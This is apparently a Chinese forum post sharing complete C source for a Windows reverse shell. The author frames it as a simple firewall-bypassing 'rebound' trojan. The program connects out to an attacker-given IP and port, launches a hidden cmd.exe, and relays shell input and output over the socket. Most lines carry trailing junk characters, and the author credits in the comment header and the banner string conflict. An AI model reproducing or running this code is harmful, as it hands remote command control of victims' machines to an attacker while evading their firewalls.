这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Qu"\wE^.`
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/* ============================== )Y6 +
Rebound port in Windows NT i6tf2oqO7
By wind,2006/7 ith
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===============================*/ Bp`]
#include A8fOQ
#include ;F!5%}OcL%
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#pragma comment(lib,"wsock32.lib") wQH<gJE/:
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void OutputShell(); [.'|_l
SOCKET sClient; &(G\[RWp\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gk[aM~p
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void main(int argc,char **argv) Ym{tR,g7
{ ?{|q5n
WSADATA stWsaData; 6?mibvK
int nRet; w\}ieI8J
SOCKADDR_IN stSaiClient,stSaiServer; % X+:o]T
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if(argc != 3) '()xHEGl3
{ }=UHbU.n~!
printf("Useage:\n\rRebound DestIP DestPort\n"); E$:*NSXj
return; V2?=4mb
} YEs &
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WSAStartup(MAKEWORD(2,2),&stWsaData); KL:j?.0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {M$1N5Eh
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stSaiClient.sin_family = AF_INET; `H_ 3Uc
stSaiClient.sin_port = htons(0); $L>@Ed<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >#;.n(y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c74.< @w
{ 6C^
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printf("Bind Socket Failed!\n"); m
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return; ^f
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} ICoHI
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stSaiServer.sin_family = AF_INET; yw[g!W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NP#w+Qw
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z^q0/'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c9'vDTE%~
{ &)Tdc
printf("Connect Error!"); OwUhdiG
return; GT!M[*[
} wj<6kG
OutputShell(); /y#f3r+*2
} [f-?ymmT
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void OutputShell() _476pZ_
{ N/'b$m5=
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char szBuff[1024]; sw oQ'
SECURITY_ATTRIBUTES stSecurityAttributes; BB$>h}
OSVERSIONINFO stOsversionInfo; [0[i5'K:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eRstD>r
STARTUPINFO stStartupInfo; uk]$#TV*q>
char *szShell; uaGk6S
PROCESS_INFORMATION stProcessInformation; ]^n7
unsigned long lBytesRead; N1S{suic
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gA+qC7=p$
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UA0Bzoky;
stSecurityAttributes.lpSecurityDescriptor = 0; 9y8&9<#
stSecurityAttributes.bInheritHandle = TRUE; ]z;I_-
qQ/^@3tXL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mh{d8<Q2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $Sx'sA2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |=ba9&q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ufZDF=$7
stStartupInfo.wShowWindow = SW_HIDE; 7P5)Z-K[
stStartupInfo.hStdInput = hReadPipe; VT`^W Hu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F>6|3bOR
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GetVersionEx(&stOsversionInfo); f:,DWw`B
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switch(stOsversionInfo.dwPlatformId) K Hu+9eX
{ f#"J]p
case 1: 82qoGSD.
szShell = "command.com"; EHIF>@TZ
break; wn, KY$/
default: DE8n+Rm
szShell = "cmd.exe"; #PW9:_BE
break; oUr66a/[U
} 9@:2wR |
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Y;Dp3v!
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send(sClient,szMsg,77,0); xY8$I6
while(1) Al^d$FaF
{ l
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {n.PF8A5X
if(lBytesRead) El".I?E*
{ 7\[@m3s
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :T$|bc
send(sClient,szBuff,lBytesRead,0); =.U[$~3q%
} q=m'^
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else <C iSK!
{ $am$EU?s
lBytesRead=recv(sClient,szBuff,1024,0); t!X.|`h
if(lBytesRead<=0) break; :zbQD8jv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Hqx-~hQO
} mzKiO_g}
} hJ? O],4J
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return; ^_W#+>&--
}